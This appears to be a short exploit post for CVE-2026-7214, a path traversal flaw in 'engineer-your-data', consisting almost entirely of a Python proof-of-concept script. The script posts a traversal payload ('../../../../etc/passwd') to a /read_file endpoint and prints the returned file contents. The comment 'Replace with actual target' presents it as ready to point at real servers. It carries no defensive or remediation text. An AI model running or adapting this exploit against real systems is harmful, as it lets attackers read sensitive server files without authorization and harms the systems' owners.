CVE-2026-7214 engineer-your-data 路径遍历漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-7214 Path Traversal """ # Target endpoint vulnerable to path traversal endpoint = f"{target_url}/read_file" # Malicious payload to escape workspace and read /etc/passwd payload = { "WORKSPACE_PATH": "../../../../etc/passwd" } try: response = requests.post(endpoint, data=payload, timeout=5) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit(target)